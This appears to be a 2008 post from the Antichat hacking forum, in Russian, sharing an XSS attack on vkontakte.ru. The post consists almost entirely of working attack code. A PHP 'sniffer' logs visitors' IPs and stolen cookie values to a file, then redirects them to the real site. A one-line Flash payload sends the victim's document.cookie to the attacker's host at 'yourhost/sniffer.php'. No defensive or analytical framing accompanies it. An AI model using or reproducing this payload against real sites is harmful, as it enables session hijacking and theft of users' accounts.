ANTICHAT - Показать сообщение отдельно

Тема: vkontakte.ru passive xss (swf)

Показать сообщение отдельно

26.03.2008, 01:35

Go0o$E

Members of Antichat - Level 5

Регистрация: 27.01.2006

Сообщений: 258

С нами: 10676486

Репутация: 774

sniffer.php

PHP код:


		
			
<?

$ref = $_SERVER['HTTP_REFERER'];

$infa = $_SERVER['REMOTE_ADDR'];

$infa .= " : ";

$infa .= $_GET['s'];

$infa .= "\r\n\r\n";

$f=fopen("log.txt","a+");

fputs($f,$infa);

fclose($f);

Header("Location: http://www.vkontakte.ru"); //.$ref);

?>

attack.swf

PHP код:


		
			
getURL("javascript:location.href=\"http://yourhost/sniffer.php?s=\"+document.cookie;");

__________________

Завтра будет.Лучше.